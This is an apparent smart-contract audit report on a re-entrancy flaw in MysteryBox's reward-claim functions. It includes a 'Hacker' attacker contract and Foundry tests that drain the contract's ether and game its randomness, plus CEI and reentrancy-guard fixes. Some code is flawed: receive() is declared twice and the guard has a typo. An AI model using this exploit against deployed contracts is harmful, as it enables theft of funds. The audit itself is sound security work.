Summary
The MysteryBox::claimAllRewards and MysteryBox::claimSingleReward functions allow users to claim rewards from their mystery box items. However, these functions do not follow the Checks-Effects-Interactions (CEI) pattern, as they transfer ether to the user before updating the user's reward state. This opens up the possibility of re-entrancy attacks, where a malicious user can repeatedly invoke these functions to drain all funds from the contract.
Vulnerability Details
Proof of Concept:
A malicious user deploys a smart contract that implements the receive function to reenter the claim functions.
They buy a mystery box, open it to receive a reward (except for Coal).
Using their contract, they call MysteryBox::claimSingleReward or MysteryBox::claimAllRewards and re-enter the function during the ether transfer to drain funds.
Proof of Code:
function claimAllRewards() public {
uint256 totalValue = 0;
for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
totalValue += rewardsOwned[msg.sender][i].value;
}
require(totalValue > 0, "No rewards to claim");
@> (bool success, ) = payable(msg.sender).call{value: totalValue}("");
require(success, "Transfer failed");
@> delete rewardsOwned[msg.sender];
}
function claimSingleReward(uint256 _index) public {
require(_index <= rewardsOwned[msg.sender].length, "Invalid index");
uint256 value = rewardsOwned[msg.sender][_index].value;
require(value > 0, "No reward to claim");
@> (bool success, ) = payable(msg.sender).call{value: value}("");
require(success, "Transfer failed");
@> delete rewardsOwned[msg.sender][_index];
}
contract Hacker {
address mysteryBox;
uint256 index;
constructor(address _mysteryBox) {
mysteryBox = _mysteryBox;
}
function manipulateOpenBox() public returns (bool) {
uint256 randomValue = uint256(
keccak256(abi.encodePacked(block.timestamp, address(this)))
) % 100;
if (randomValue < 99) {
return false;
}
MysteryBox(mysteryBox).openBox();
return true;
}
function buyBox() public payable {
MysteryBox(mysteryBox).buyBox{value: msg.value}();
}
function openBox() public {
MysteryBox(mysteryBox).openBox();
}
function hackClaimSingleReward(uint256 _index) public {
index = _index;
MysteryBox(mysteryBox).claimSingleReward(_index);
}
function hackClaimAllReward() public {
MysteryBox(mysteryBox).claimAllRewards();
}
receive() external payable {
if (mysteryBox.balance > 1 ether) {
MysteryBox(mysteryBox).claimAllRewards();
}
}
receive() external payable {
if (mysteryBox.balance > 1 ether) {
MysteryBox(mysteryBox).claimSingleReward(index);
}
}
}
function test_reentrancyClaimSingleReward() public {
vm.prank(owner);
mysteryBox = new MysteryBox{value: 10 ether}();
address maliciousUser = makeAddr("maliciousUser");
vm.deal(maliciousUser, 100 ether);
vm.startPrank(maliciousUser);
Hacker hacker = new Hacker(address(mysteryBox));
uint256 boxPrice = mysteryBox.boxPrice();
hacker.buyBox{value: boxPrice}();
uint256 count = 0;
for (uint256 i = 0; i < 100; i++) {
bool isSuccess = hacker.manipulateOpenBox();
if (isSuccess) {
count = i;
break;
}
vm.warp(block.timestamp + 1);
}
uint256 balanceAfterBuyBox = address(mysteryBox).balance;
hacker.hackClaimSingleReward(0);
vm.stopPrank();
uint256 balanceAfterHack = address(mysteryBox).balance;
uint256 hackerBalance = address(hacker).balance;
assertEq(hackerBalance, balanceAfterBuyBox - balanceAfterHack);
assertEq(balanceAfterHack, 0.1 ether);
}
function test_reentrancyClaimAllReward() public {
vm.prank(owner);
uint256 initialBalance = 10 ether;
mysteryBox = new MysteryBox{value: initialBalance}();
address maliciousUser = makeAddr("maliciousUser");
vm.deal(maliciousUser, 100 ether);
vm.startPrank(maliciousUser);
Hacker hacker = new Hacker(address(mysteryBox));
uint256 boxPrice = mysteryBox.boxPrice();
hacker.buyBox{value: boxPrice}();
uint256 count = 0;
for (uint256 i = 0; i < 100; i++) {
bool isSuccess = hacker.manipulateOpenBox();
if (isSuccess) {
count = i;
break;
}
vm.warp(block.timestamp + 1);
}
uint256 balanceAfterBuyBox = address(mysteryBox).balance;
hacker.hackClaimAllReward();
vm.stopPrank();
uint256 balanceAfterHack = address(mysteryBox).balance;
uint256 hackerBalance = address(hacker).balance;
assertEq(hackerBalance, balanceAfterBuyBox - balanceAfterHack);
assertEq(balanceAfterHack, 0.1 ether);
}
Impact
A malicious user could drain most of the funds in the contract by repeatedly exploiting the re-entrancy vulnerability. This could potentially lead to significant financial losses if not mitigated.
Tools Used
Manual Review
Recommendations
There are 2 solutions for this issues:
Follow the CEI (Checks-Effects-Interactions) Pattern
Ensure that state changes (e.g., deleting user rewards) happen before interacting with external calls, as demonstrated below:
function claimAllRewards() public {
uint256 totalValue = 0;
for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
totalValue += rewardsOwned[msg.sender][i].value;
}
require(totalValue > 0, "No rewards to claim");
+ delete rewardsOwned[msg.sender];
(bool success, ) = payable(msg.sender).call{value: totalValue}("");
require(success, "Transfer failed");
- delete rewardsOwned[msg.sender];
}
function claimSingleReward(uint256 _index) public {
require(_index <= rewardsOwned[msg.sender].length, "Invalid index");
uint256 value = rewardsOwned[msg.sender][_index].value;
require(value > 0, "No reward to claim");
+ delete rewardsOwned[msg.sender][_index];
(bool success, ) = payable(msg.sender).call{value: value}("");
require(success, "Transfer failed");
- delete rewardsOwned[msg.sender][_index];
}
Use a Reentrancy Guard
A simpler approach would be to add a nonReentrant modifier to prevent reentrancy attacks:
contract MysteryBox {
...
uint256 privated locked = 1;
modifier nonReentrant {
require(locked == 1, "Non reentrant!");
locked = 2;
_;
locked = 1;
}
...
}
